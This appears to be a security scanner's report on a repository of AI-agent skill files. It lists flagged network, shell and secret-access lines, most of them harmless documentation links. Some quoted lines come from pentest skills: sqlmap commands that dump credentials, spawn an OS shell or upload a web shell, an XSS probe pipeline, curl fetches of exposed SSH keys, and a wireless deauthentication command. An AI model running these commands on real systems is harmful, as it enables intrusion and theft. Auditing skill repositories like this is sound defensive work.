# Another R2 bucket personal: endpoint: https://YOUR_ACCOUNT_ID.r2.cloudflarestorage.com - Network accessline 19
personal: endpoint: https://YOUR_ACCOUNT_ID.r2.cloudflarestorage.com access_key_id: YOUR_R2_ACCESS_KEY_ID - Network accessline 20
endpoint: https://YOUR_ACCOUNT_ID.r2.cloudflarestorage.com - Network accessline 26
# AWS S3 example aws-backup: endpoint: https://s3.us-east-1.amazonaws.com - Network accessline 27
aws-backup: endpoint: https://s3.us-east-1.amazonaws.com access_key_id: YOUR_AWS_ACCESS_KEY_ID - Network accessline 28
endpoint: https://s3.us-east-1.amazonaws.com - Network accessline 34
# MinIO / Self-hosted S3 example minio: endpoint: https://minio.example.com - Network accessline 35
minio: endpoint: https://minio.example.com access_key_id: minioadmin - Network accessline 36
endpoint: https://minio.example.com
skills/r2-upload/package.json
- Executable scriptline 1
Executable file - Network accessline 16
"repository": { "type": "git", "url": "https://github.com/clawdbot/clawdhub-skills" - Network accessline 17
"type": "git", "url": "https://github.com/clawdbot/clawdhub-skills" }, - Network accessline 18
"url": "https://github.com/clawdbot/clawdhub-skills" - Network accessline 19
}, "homepage": "https://clawdhub.com/skills/r2-upload", "dependencies": { - Network accessline 20
"homepage": "https://clawdhub.com/skills/r2-upload",
skills/r2-upload/src/index.ts
- Executable scriptline 1
#!/usr/bin/env node
skills/r2-upload/src/onboard.ts
- Executable scriptline 1
#!/usr/bin/env tsx - Network accessline 79
console.log(''); console.log(`${colors.yellow}Get these from:${colors.reset}`); console.log(' 1. Create bucket: https://dash.cloudflare.com → R2'); - Network accessline 80
console.log(`${colors.yellow}Get these from:${colors.reset}`); console.log(' 1. Create bucket: https://dash.cloudflare.com → R2'); console.log(' 2. Get Account ID from URL: https://dash.cloudflare.com/<ACCOUNT_ID>/r2'); - Network accessline 81
console.log(' 1. Create bucket: https://dash.cloudflare.com → R2'); - Network accessline 82
console.log(' 2. Get Account ID from URL: https://dash.cloudflare.com/<ACCOUNT_ID>/r2'); - Network accessline 83
[Credential-related source omitted] - Network accessline 93
config.default = bucketName; config.buckets[bucketName] = { endpoint: `https://${accountId}.r2.cloudflarestorage.com`, - Network accessline 94
config.buckets[bucketName] = { endpoint: `https://${accountId}.r2.cloudflarestorage.com`, access_key_id: accessKeyId, - Network accessline 95
endpoint: `https://${accountId}.r2.cloudflarestorage.com`, - Network accessline 116
config.default = bucketName; config.buckets[bucketName] = { endpoint: `https://s3.${region}.amazonaws.com`, - Network accessline 117
config.buckets[bucketName] = { endpoint: `https://s3.${region}.amazonaws.com`, access_key_id: accessKeyId, - Network accessline 118
endpoint: `https://s3.${region}.amazonaws.com`, - Network accessline 130
const endpoint = await prompt('Endpoint URL (e.g., https://minio.example.com): ');
skills/r3f-best-practices/SKILL.md
- Network accessline 16
> Additional tips from [100 Three.js Tips](https://www.utsubo.com/blog/threejs-best-practices-100-tips) by [Utsubo](https://www.utsubo.com)
skills/r3f-best-practices/rules/drei-use-gltf.md
skills/r3f-best-practices/rules/frame-delta-time.md
- Network accessline 124
- [R3F useFrame](https://docs.pmnd.rs/react-three-fiber/api/hooks#useframe)
skills/r3f-best-practices/rules/loading-suspense.md
skills/r3f-best-practices/rules/perf-never-set-state-in-useframe.md
- Network accessline 130
- [R3F Performance Pitfalls](https://docs.pmnd.rs/react-three-fiber/advanced/pitfalls)
skills/r3f-best-practices/rules/perf-r3f-perf.md
- Network accessline 3
> Source: [100 Three.js Tips - Utsubo](https://www.utsubo.com/blog/threejs-best-practices-100-tips)
skills/r3f-best-practices/rules/perf-visibility-toggle.md
- Network accessline 3
> Source: [100 Three.js Tips - Utsubo](https://www.utsubo.com/blog/threejs-best-practices-100-tips)
skills/r3f-best-practices/rules/perf-zustand-selectors.md
skills/react-best-practices/AGENTS.md
- Network accessline 215
Reference: [https://github.com/shuding/better-all](https://github.com/shuding/better-all) - Network accessline 427
Reference: [https://vercel.com/blog/how-we-optimized-package-imports-in-next-js](https://vercel.com/blog/how-we-optimized-package-imports-in-next-js) - Network accessline 672
Reference: [https://nextjs.org/docs/app/guides/authentication](https://nextjs.org/docs/app/guides/authentication) - Network accessline 766
**With Vercel's [Fluid Compute](https://vercel.com/docs/fluid-compute):** LRU caching is especially effective because multiple concurrent requests can share the same function instance and cache. This means the cache persists across requests - Network accessline 770
Reference: [https://github.com/isaacs/node-lru-cache](https://github.com/isaacs/node-lru-cache) - Network accessline 949
Reference: [https://react.dev/reference/react/cache](https://react.dev/reference/react/cache) - Network accessline 1023
Reference: [https://nextjs.org/docs/app/api-reference/functions/after](https://nextjs.org/docs/app/api-reference/functions/after) - Network accessline 1161
const [users, setUsers] = useState([]) useEffect(() => { fetch("/api/users") - Network accessline 1162
useEffect(() => { fetch("/api/users") .then((r) => r.json()) - Network accessline 1163
fetch("/api/users") - Network accessline 1201
Reference: [https://swr.vercel.app](https://swr.vercel.app) - Network accessline 1315
Reference: [https://react.dev/learn/you-might-not-need-an-effect](https://react.dev/learn/you-might-not-need-an-effect) - Network accessline 1454
**Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, manual memoization with `memo()` and `useMemo()` is not necessary. The compiler automatically optimizes re-renders. - Network accessline 1536
Reference: [https://react.dev/learn/removing-effect-dependencies#should-this-code-move-to-an-event-handler](https://react.dev/learn/removing-effect-dependencies#should-this-code-move-to-an-event-handler) - Network accessline 1642
**Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, the compiler can automatically optimize some cases, but functional updates are still recommended for correctness and to prevent stale closure bu - Network accessline 1907
**Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, the compiler automatically hoists static JSX elements and optimizes component re-renders, making manual hoisting unnecessary. - Network accessline 2145
Reference: [https://react.dev/reference/react/useTransition](https://react.dev/reference/react/useTransition) - Network accessline 2237
See [this gist](https://gist.github.com/paulirish/5d52fb081b3570c81e3a) and [CSS Triggers](https://csstriggers.com/) for more information on layout-forcing operations. - Network accessline 2371
Reference: [https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast](https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast) - Network accessline 2677
This works for small arrays, but can be slower or just throw an error for very large arrays due to spread operator limitations. Maximal array length is approximately 124000 in Chrome 143 and 638000 in Safari 18; exact numbers may vary - see - Network accessline 2800
Reference: [https://react.dev/learn/you-might-not-need-an-effect#initializing-the-application](https://react.dev/learn/you-might-not-need-an-effect#initializing-the-application) - Network accessline 2877
1. [https://react.dev](https://react.dev) - Network accessline 2878
2. [https://nextjs.org](https://nextjs.org) - Network accessline 2879
3. [https://swr.vercel.app](https://swr.vercel.app) - Network accessline 2880
4. [https://github.com/shuding/better-all](https://github.com/shuding/better-all) - Network accessline 2881
5. [https://github.com/isaacs/node-lru-cache](https://github.com/isaacs/node-lru-cache) - Network accessline 2882
6. [https://vercel.com/blog/how-we-optimized-package-imports-in-next-js](https://vercel.com/blog/how-we-optimized-package-imports-in-next-js) - Network accessline 2883
7. [https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast](https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast)
skills/react-best-practices/README.md
skills/react-best-practices/metadata.json
- Network accessline 5
"abstract": "Comprehensive performance optimization guide for React and Next.js applications, designed for AI agents and LLMs. Contains 40+ rules across 8 categories, prioritized by impact from critical (eliminating waterfalls, reducing bun - Network accessline 6
"references": [ "https://react.dev", "https://nextjs.org", - Network accessline 7
"https://react.dev", - Network accessline 8
"https://nextjs.org", - Network accessline 9
"https://swr.vercel.app", - Network accessline 10
"https://github.com/shuding/better-all", - Network accessline 11
"https://github.com/isaacs/node-lru-cache", - Network accessline 12
"https://vercel.com/blog/how-we-optimized-package-imports-in-next-js", - Network accessline 13
"https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast"
skills/react-best-practices/rules/_template.md
- Network accessline 28
Reference: [Link to documentation or resource](https://example.com)
skills/react-best-practices/rules/advanced-init-once.md
- Network accessline 42
Reference: [Initializing the application](https://react.dev/learn/you-might-not-need-an-effect#initializing-the-application)
skills/react-best-practices/rules/async-dependencies.md
- Network accessline 48
Reference: [https://github.com/shuding/better-all](https://github.com/shuding/better-all)
skills/react-best-practices/rules/bundle-barrel-imports.md
- Network accessline 59
Reference: [How we optimized package imports in Next.js](https://vercel.com/blog/how-we-optimized-package-imports-in-next-js)
skills/react-best-practices/rules/client-swr-dedup.md
skills/react-best-practices/rules/js-batch-dom-css.md
- Network accessline 110
See [this gist](https://gist.github.com/paulirish/5d52fb081b3570c81e3a) and [CSS Triggers](https://csstriggers.com/) for more information on layout-forcing operations.
skills/react-best-practices/rules/js-cache-function-results.md
- Network accessline 80
Reference: [How we made the Vercel Dashboard twice as fast](https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast)
skills/react-best-practices/rules/js-min-max-loop.md
- Network accessline 82
This works for small arrays, but can be slower or just throw an error for very large arrays due to spread operator limitations. Maximal array length is approximately 124000 in Chrome 143 and 638000 in Safari 18; exact numbers may vary - see
skills/react-best-practices/rules/rendering-hoist-jsx.md
- Network accessline 36
**Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, the compiler automatically hoists static JSX elements and optimizes component re-renders, making manual hoisting unnecessary.
skills/react-best-practices/rules/rendering-usetransition-loading.md
- Network accessline 75
Reference: [useTransition](https://react.dev/reference/react/useTransition)
skills/react-best-practices/rules/rerender-derived-state-no-effect.md
- Network accessline 40
References: [You Might Not Need an Effect](https://react.dev/learn/you-might-not-need-an-effect)
skills/react-best-practices/rules/rerender-functional-setstate.md
- Network accessline 77
**Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, the compiler can automatically optimize some cases, but functional updates are still recommended for correctness and to prevent stale closure bu
skills/react-best-practices/rules/rerender-memo.md
- Network accessline 44
**Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, manual memoization with `memo()` and `useMemo()` is not necessary. The compiler automatically optimizes re-renders.
skills/react-best-practices/rules/rerender-move-effect-to-event.md
- Network accessline 45
Reference: [Should this code move to an event handler?](https://react.dev/learn/removing-effect-dependencies#should-this-code-move-to-an-event-handler)
skills/react-best-practices/rules/server-after-nonblocking.md
- Network accessline 73
Reference: [https://nextjs.org/docs/app/api-reference/functions/after](https://nextjs.org/docs/app/api-reference/functions/after)
skills/react-best-practices/rules/server-auth-actions.md
- Network accessline 96
Reference: [https://nextjs.org/docs/app/guides/authentication](https://nextjs.org/docs/app/guides/authentication)
skills/react-best-practices/rules/server-cache-lru.md
- Network accessline 37
**With Vercel's [Fluid Compute](https://vercel.com/docs/fluid-compute):** LRU caching is especially effective because multiple concurrent requests can share the same function instance and cache. This means the cache persists across requests - Network accessline 41
Reference: [https://github.com/isaacs/node-lru-cache](https://github.com/isaacs/node-lru-cache)
skills/react-best-practices/rules/server-cache-react.md
- Network accessline 76
Reference: [React.cache documentation](https://react.dev/reference/react/cache)
skills/red-team-tools/SKILL.md
- Network accessline 48
# Alternative ASN lookup curl -s "https://bgp.he.net/search?search=targetcompany&commit=Search" - Network accessline 49
curl -s "https://bgp.he.net/search?search=targetcompany&commit=Search" - Network accessline 117
# Directory bruteforce with ffuf ffuf -ac -v -u https://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt - Network accessline 118
ffuf -ac -v -u https://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt - Network accessline 164
# Alternative workflow waybackurls target.com | grep "=" | qsreplace '"><script>alert(1)</script>' | while read url; do curl -s "$url" | grep -q 'alert(1)' && echo "$url" - Network accessline 165
waybackurls target.com | grep "=" | qsreplace '"><script>alert(1)</script>' | while read url; do curl -s "$url" | grep -q 'alert(1)' && echo "$url" done > potential_xss.txt - Network accessline 166
curl -s "$url" | grep -q 'alert(1)' && echo "$url" - Network accessline 188
# Enumerate API endpoints ffuf -u https://target.com/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt - Network accessline 189
ffuf -u https://target.com/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt - Network accessline 191
# Test API versions ffuf -u https://target.com/api/v1/FUZZ -w api_wordlist.txt - Network accessline 192
ffuf -u https://target.com/api/v1/FUZZ -w api_wordlist.txt - Network accessline 193
ffuf -u https://target.com/api/v2/FUZZ -w api_wordlist.txt - Network accessline 195
# Check for hidden methods for method in GET POST PUT DELETE PATCH; do curl -X $method https://target.com/api/users -v - Network accessline 196
for method in GET POST PUT DELETE PATCH; do curl -X $method https://target.com/api/users -v done - Network accessline 197
curl -X $method https://target.com/api/users -v
skills/regression-modeler/scripts/regression_analyzer.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/repo-audit/scripts/hotfiles.sh
- Executable scriptline 1
#!/usr/bin/env bash
skills/repo-audit/scripts/ownership.sh
- Executable scriptline 1
#!/usr/bin/env bash
skills/repo-audit/scripts/secret-scan.sh
skills/route-to-openapi/SKILL.md
- Network accessline 9
Automatically scan route/endpoint definitions in source code and generate RESTful API documentation conforming to the [OpenAPI 3.0.3](https://spec.openapis.org/oas/v3.0.3) specification. - Network accessline 25
# Add server URLs python scripts/generate_api_doc.py ./routes --server http://localhost:3000 --server https://api.example.com - Network accessline 26
python scripts/generate_api_doc.py ./routes --server http://localhost:3000 --server https://api.example.com
skills/route-to-openapi/scripts/generate_api_doc.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 36
[Credential-related source omitted] - Network accessline 703
%(prog)s ./src --format yaml --output api-spec.yaml %(prog)s ./app --framework flask --title "My API" --version 2.0.0 %(prog)s ./routes --server http://localhost:3000 - Network accessline 704
%(prog)s ./app --framework flask --title "My API" --version 2.0.0 %(prog)s ./routes --server http://localhost:3000 """, - Network accessline 705
%(prog)s ./routes --server http://localhost:3000
skills/scanning-tools/SKILL.md
- Dangerous shell operationline 115
sudo systemctl start nessusd - Network accessline 117
# Access web interface # https://localhost:8834 - Network accessline 118
# https://localhost:8834 - Dangerous shell operationline 140
sudo apt install openvas - Dangerous shell operationline 141
sudo gvm-setup - Dangerous shell operationline 144
sudo gvm-start - Network accessline 146
# Access web interface (Greenbone Security Assistant) # https://localhost:9392 - Network accessline 147
# https://localhost:9392 - Network accessline 199
# Automated scan from CLI zap-cli quick-scan https://target.com - Network accessline 200
zap-cli quick-scan https://target.com - Network accessline 202
# Full scan zap-cli spider https://target.com - Network accessline 203
zap-cli spider https://target.com - Network accessline 204
zap-cli active-scan https://target.com - Network accessline 215
# Docker-based scanning docker run -t owasp/zap2docker-stable zap-full-scan.py \ -t https://target.com -r report.html - Network accessline 216
docker run -t owasp/zap2docker-stable zap-full-scan.py -t https://target.com -r report.html - Network accessline 217
-t https://target.com -r report.html - Network accessline 219
# Baseline scan (passive only) docker run -t owasp/zap2docker-stable zap-baseline.py \ -t https://target.com -r report.html - Network accessline 220
docker run -t owasp/zap2docker-stable zap-baseline.py -t https://target.com -r report.html - Network accessline 221
-t https://target.com -r report.html - Network accessline 229
# Basic scan nikto -h https://target.com - Network accessline 230
nikto -h https://target.com - Dangerous shell operationline 262
sudo airmon-ng start wlan0 - Dangerous shell operationline 265
sudo airodump-ng wlan0mon - Dangerous shell operationline 268
sudo airodump-ng -c <channel> --bssid <target_bssid> -w capture wlan0mon - Dangerous shell operationline 271
sudo aireplay-ng -0 10 -a <bssid> wlan0mon - Network accessline 291
# Access web interface # http://localhost:2501 - Network accessline 292
# http://localhost:2501 - Dangerous shell operationline 307
sudo freshclam - Dangerous shell operationline 411
sudo lynis audit system - Dangerous shell operationline 414
sudo lynis audit system --quick - Dangerous shell operationline 417
sudo lynis audit system --profile server - Dangerous shell operationline 420
sudo lynis audit system --report-file /tmp/lynis-report.dat - Dangerous shell operationline 423
sudo lynis show profiles - Dangerous shell operationline 424
sudo lynis audit system --tests-from-group malware
skills/secure-code-review/SKILL.md
- Access to secretsline 120
[Credential-related source omitted] - Access to secretsline 275
[Credential-related source omitted] - Access to secretsline 276
[Credential-related source omitted] - Access to secretsline 355
[Credential-related source omitted] - Network accessline 482
def fetch_url(): url = request.args.get("url") response = requests.get(url) - Network accessline 483
url = request.args.get("url") response = requests.get(url) return response.text - Network accessline 484
response = requests.get(url) - Network accessline 521
if not is_safe_url(url): return jsonify({"error": "Access to this address is not allowed"}), 403 response = requests.get(url, timeout=10, allow_redirects=False) - Network accessline 522
return jsonify({"error": "Access to this address is not allowed"}), 403 response = requests.get(url, timeout=10, allow_redirects=False) return response.text - Network accessline 523
response = requests.get(url, timeout=10, allow_redirects=False)
skills/shodan-reconnaissance/SKILL.md
- Dangerous shell operationline 45
sudo pacman -S python-shodan - Access to secretsline 51
[Credential-related source omitted] - Network accessline 265
# Get API info curl -s "https://api.shodan.io/api-info?key=YOUR_KEY" | jq - Network accessline 266
curl -s "https://api.shodan.io/api-info?key=YOUR_KEY" | jq - Network accessline 268
# Host lookup curl -s "https://api.shodan.io/shodan/host/1.1.1.1?key=YOUR_KEY" | jq - Network accessline 269
curl -s "https://api.shodan.io/shodan/host/1.1.1.1?key=YOUR_KEY" | jq - Network accessline 271
# Search query curl -s "https://api.shodan.io/shodan/host/search?key=YOUR_KEY&query=apache" | jq - Network accessline 272
curl -s "https://api.shodan.io/shodan/host/search?key=YOUR_KEY&query=apache" | jq - Access to secretsline 279
[Credential-related source omitted] - Access to secretsline 440
[Credential-related source omitted] - Access to secretsline 441
[Credential-related source omitted] - Access to secretsline 498
[Credential-related source omitted]
skills/smtp-penetration-testing/SKILL.md
- Dangerous shell operationline 20
sudo apt-get install nmap - Network accessline 22
# Netcat sudo apt-get install netcat - Dangerous shell operationline 23
sudo apt-get install netcat - Dangerous shell operationline 26
sudo apt-get install hydra - Dangerous shell operationline 29
sudo apt-get install smtp-user-enum - Network accessline 94
# Using Netcat nc TARGET_IP 25 - Network accessline 95
nc TARGET_IP 25 - Network accessline 122
# Connect and test commands nc TARGET_IP 25 - Network accessline 123
nc TARGET_IP 25 - Network accessline 366
| Nmap | `nmap --script smtp-enum-users -p 25 IP` | | Metasploit | `use auxiliary/scanner/smtp/smtp_enum` | | Netcat | `nc IP 25` then manual commands | - Network accessline 368
| Netcat | `nc IP 25` then manual commands | - Network accessline 411
# Step 2: Banner grab nc mail.target.com 25 - Network accessline 412
nc mail.target.com 25
skills/sql-injection-testing/SKILL.md
skills/sql-insight/scripts/sql_query_helper.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/sqlmap-database-pentesting/SKILL.md
- Network accessline 38
# Add single quote to break query http://target.com/page.php?id=1' - Network accessline 39
http://target.com/page.php?id=1' - Network accessline 47
# Basic vulnerability detection sqlmap -u "http://target.com/page.php?id=1" --batch - Network accessline 48
sqlmap -u "http://target.com/page.php?id=1" --batch - Network accessline 50
# With verbosity for detailed output sqlmap -u "http://target.com/page.php?id=1" --batch -v 3 - Network accessline 51
sqlmap -u "http://target.com/page.php?id=1" --batch -v 3 - Network accessline 58
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch - Network accessline 70
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch - Network accessline 81
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch - Network accessline 92
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch - Network accessline 97
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch - Network accessline 102
sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch - Network accessline 126
# Create file with URLs, one per line: # http://target1.com/page.php?id=1 - Network accessline 127
# http://target1.com/page.php?id=1 - Network accessline 128
# http://target2.com/page.php?id=2 - Network accessline 230
# Step 1: Discover databases sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch - Network accessline 231
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch - Network accessline 234
# Step 2: List tables sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch - Network accessline 235
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch - Network accessline 238
# Step 3: List columns sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch - Network accessline 239
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch - Network accessline 242
# Step 4: Dump user credentials sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch - Network accessline 243
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch - Network accessline 261
# Create bulkfile.txt: echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt - Network accessline 262
echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt - Network accessline 263
echo "http://192.168.1.10/sqli/Less-2/?id=1" >> bulkfile.txt - Network accessline 271
# High level and risk for thorough testing sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --level=5 --risk=3 - Network accessline 272
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --level=5 --risk=3 - Network accessline 274
# Specify all techniques sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --technique=BEUSTQ - Network accessline 275
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --technique=BEUSTQ - Network accessline 280
# Target specific columns sqlmap -u "http://target.com/page.php?id=1" \ - Network accessline 281
sqlmap -u "http://target.com/page.php?id=1" \ - Network accessline 287
# Automatically crack password hashes sqlmap -u "http://target.com/page.php?id=1" \ - Network accessline 288
sqlmap -u "http://target.com/page.php?id=1" \ - Network accessline 297
# Get interactive OS shell (requires DBA privileges) sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch - Network accessline 298
sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch - Network accessline 300
# Execute specific OS command sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch - Network accessline 301
sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch - Network accessline 303
# File read from server sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch - Network accessline 304
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch - Network accessline 306
# File upload to server sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/html/shell.php" --batch - Network accessline 307
sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/html/shell.php" --batch
skills/ssh-penetration-testing/SKILL.md
- Network accessline 62
# Banner grabbing nc 192.168.1.100 22 - Network accessline 63
nc 192.168.1.100 22 - Access to secretsline 184
[Credential-related source omitted] - Access to secretsline 185
[Credential-related source omitted] - Access to secretsline 186
[Credential-related source omitted] - Access to secretsline 187
[Credential-related source omitted] - Access to secretsline 190
[Credential-related source omitted] - Network accessline 192
# Web-accessible keys (check with curl/wget) curl -s http://target.com/.ssh/id_rsa - Network accessline 193
curl -s http://target.com/.ssh/id_rsa - Network accessline 194
curl -s http://target.com/id_rsa - Network accessline 195
curl -s http://target.com/backup/ssh_keys.tar.gz - Network accessline 234
# Access internal web server through SSH ssh -L 8080:192.168.1.50:80 user@192.168.1.100 # Now access http://localhost:8080 - Network accessline 236
# Now access http://localhost:8080 - Access to secretsline 288
[Credential-related source omitted] - Dangerous shell operationline 300
# Check sudo privileges - Dangerous shell operationline 301
sudo -l - Access to secretsline 309
[Credential-related source omitted] - Access to secretsline 310
[Credential-related source omitted] - Access to secretsline 311
[Credential-related source omitted] - Access to secretsline 314
[Credential-related source omitted] - Network accessline 430
| Command | Purpose | |---------|---------| | `nc <host> 22` | Banner grabbing | - Network accessline 431
|---------|---------| | `nc <host> 22` | Banner grabbing | | `ssh-audit <host>` | Configuration audit | - Network accessline 432
| `nc <host> 22` | Banner grabbing |
skills/test-driven-dev/mocking.md
- Access to secretsline 32
[Credential-related source omitted] - Network accessline 42
// GOOD: Each function is independently mockable const api = { getUser: (id) => fetch(`/users/${id}`), - Network accessline 43
const api = { getUser: (id) => fetch(`/users/${id}`), getOrders: (userId) => fetch(`/users/${userId}/orders`), - Network accessline 44
getUser: (id) => fetch(`/users/${id}`), - Network accessline 45
getOrders: (userId) => fetch(`/users/${userId}/orders`), - Network accessline 46
createOrder: (data) => fetch('/orders', { method: 'POST', body: data }), - Network accessline 49
// BAD: Mocking requires conditional logic inside the mock const api = { fetch: (endpoint, options) => fetch(endpoint, options), - Network accessline 50
const api = { fetch: (endpoint, options) => fetch(endpoint, options), }; - Network accessline 51
fetch: (endpoint, options) => fetch(endpoint, options),
skills/test-suite-architect/assets/templates/TEST-CASE-TEMPLATE.md
skills/test-suite-architect/references/day1_onboarding.md
- Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Network accessline 46
pnpm dev # Verify: http://localhost:8080 (or configured port) - Network accessline 47
# Verify: http://localhost:8080 (or configured port) - Dangerous shell operationline 125
rm -rf ~/.claude/skills/<skill-name> - Network accessline 194
**Essential links**: - Local website (http://localhost:8080 or configured port) - Network accessline 195
- Local website (http://localhost:8080 or configured port) - Access to secretsline 309
[Credential-related source omitted]
skills/test-suite-architect/references/google_testing_standards.md
- Network accessline 272
**References**: - [Google Testing Blog](https://testing.googleblog.com/) - Network accessline 273
- [Google Testing Blog](https://testing.googleblog.com/) - Network accessline 274
- [Google SWE Book - Testing](https://abseil.io/resources/swe-book) - Network accessline 275
- [Test Pyramid Concept](https://martinfowler.com/bliki/TestPyramid.html)
skills/test-suite-architect/references/llm_prompts_library.md
- Network accessline 41
3. Test users created (regular, admin, moderator) 4. CLI installed (if applicable) - global and/or local 5. Dev server running at http://localhost:8080 - Network accessline 42
4. CLI installed (if applicable) - global and/or local 5. Dev server running at http://localhost:8080 6. First test case executed successfully - Network accessline 43
5. Dev server running at http://localhost:8080 - Network accessline 395
3. Check data: docker exec <container-name> psql -U postgres -d postgres -c "SELECT COUNT(*) FROM <table>;" - Does the database still have seeded data? 4. Check dev server: curl http://localhost:8080 - Network accessline 396
- Does the database still have seeded data? 4. Check dev server: curl http://localhost:8080 - Is the dev server responding? - Network accessline 397
4. Check dev server: curl http://localhost:8080
skills/test-suite-architect/references/master_qa_prompt.md
- Network accessline 76
Starting Hour 1: Environment Setup Task 1.1: Clone repository Executing: git clone https://github.com/your-org/project.git - Network accessline 77
Task 1.1: Clone repository Executing: git clone https://github.com/your-org/project.git Status: ✅ Complete - Network accessline 78
Executing: git clone https://github.com/your-org/project.git
skills/test-suite-architect/scripts/calculate_metrics.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/test-suite-architect/scripts/init_qa_project.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/three-best-practices/SKILL.md
- Network accessline 17
> This skill compiles best practices from multiple authoritative sources: > - Official guidelines from Three.js `llms` branch maintained by [mrdoob](https://github.com/mrdoob) - Network accessline 18
> - Official guidelines from Three.js `llms` branch maintained by [mrdoob](https://github.com/mrdoob) - Network accessline 19
> - [100 Three.js Tips](https://www.utsubo.com/blog/threejs-best-practices-100-tips) by [Utsubo](https://www.utsubo.com) - Excellent comprehensive guide covering WebGPU, asset optimization, and performance tips - Network accessline 294
{ "imports": { "three": "https://cdn.jsdelivr.net/npm/three@0.182.0/build/three.module.js", - Network accessline 295
"imports": { "three": "https://cdn.jsdelivr.net/npm/three@0.182.0/build/three.module.js", "three/addons/": "https://cdn.jsdelivr.net/npm/three@0.182.0/examples/jsm/", - Network accessline 296
"three": "https://cdn.jsdelivr.net/npm/three@0.182.0/build/three.module.js", - Network accessline 297
"three/addons/": "https://cdn.jsdelivr.net/npm/three@0.182.0/examples/jsm/", - Network accessline 298
"three/tsl": "https://cdn.jsdelivr.net/npm/three@0.182.0/build/three.tsl.js"
skills/three-best-practices/rules/animation-system.md
skills/three-best-practices/rules/asset-compression.md
skills/three-best-practices/rules/audio-spatial.md
skills/three-best-practices/rules/core-web-vitals.md
- Network accessline 3
> Source: [100 Three.js Tips - Utsubo](https://www.utsubo.com/blog/threejs-best-practices-100-tips)
skills/three-best-practices/rules/debug-devtools.md
- Network accessline 3
> Source: [100 Three.js Tips - Utsubo](https://www.utsubo.com/blog/threejs-best-practices-100-tips)
skills/three-best-practices/rules/draw-call-optimization.md
- Network accessline 3
> Source: [100 Three.js Tips - Utsubo](https://www.utsubo.com/blog/threejs-best-practices-100-tips)
skills/three-best-practices/rules/error-handling-recovery.md
skills/three-best-practices/rules/geometry-instanced-mesh.md
skills/three-best-practices/rules/gltf-loading-optimization.md
- Network accessline 130
// Google CDN dracoLoader.setDecoderPath('https://www.gstatic.com/draco/v1/decoders/'); - Network accessline 131
dracoLoader.setDecoderPath('https://www.gstatic.com/draco/v1/decoders/'); - Network accessline 133
// jsDelivr dracoLoader.setDecoderPath('https://cdn.jsdelivr.net/npm/three@0.182.0/examples/jsm/libs/draco/'); - Network accessline 134
dracoLoader.setDecoderPath('https://cdn.jsdelivr.net/npm/three@0.182.0/examples/jsm/libs/draco/'); - Network accessline 217
- [glTF-Transform](https://gltf-transform.dev/) - Network accessline 218
- [Three.js GLTFLoader](https://threejs.org/docs/#examples/en/loaders/GLTFLoader) - Network accessline 219
- [Draco Compression](https://google.github.io/draco/)
skills/three-best-practices/rules/lighting-shadows-advanced.md
- Network accessline 3
> Source: [100 Three.js Tips - Utsubo](https://www.utsubo.com/blog/threejs-best-practices-100-tips)
skills/three-best-practices/rules/memory-dispose-geometry.md
- Network accessline 91
- [Three.js Manual: Dispose](https://threejs.org/manual/#en/dispose)
skills/three-best-practices/rules/migration-checklist.md
skills/three-best-practices/rules/mobile-optimization.md
skills/three-best-practices/rules/object-pooling.md
- Network accessline 3
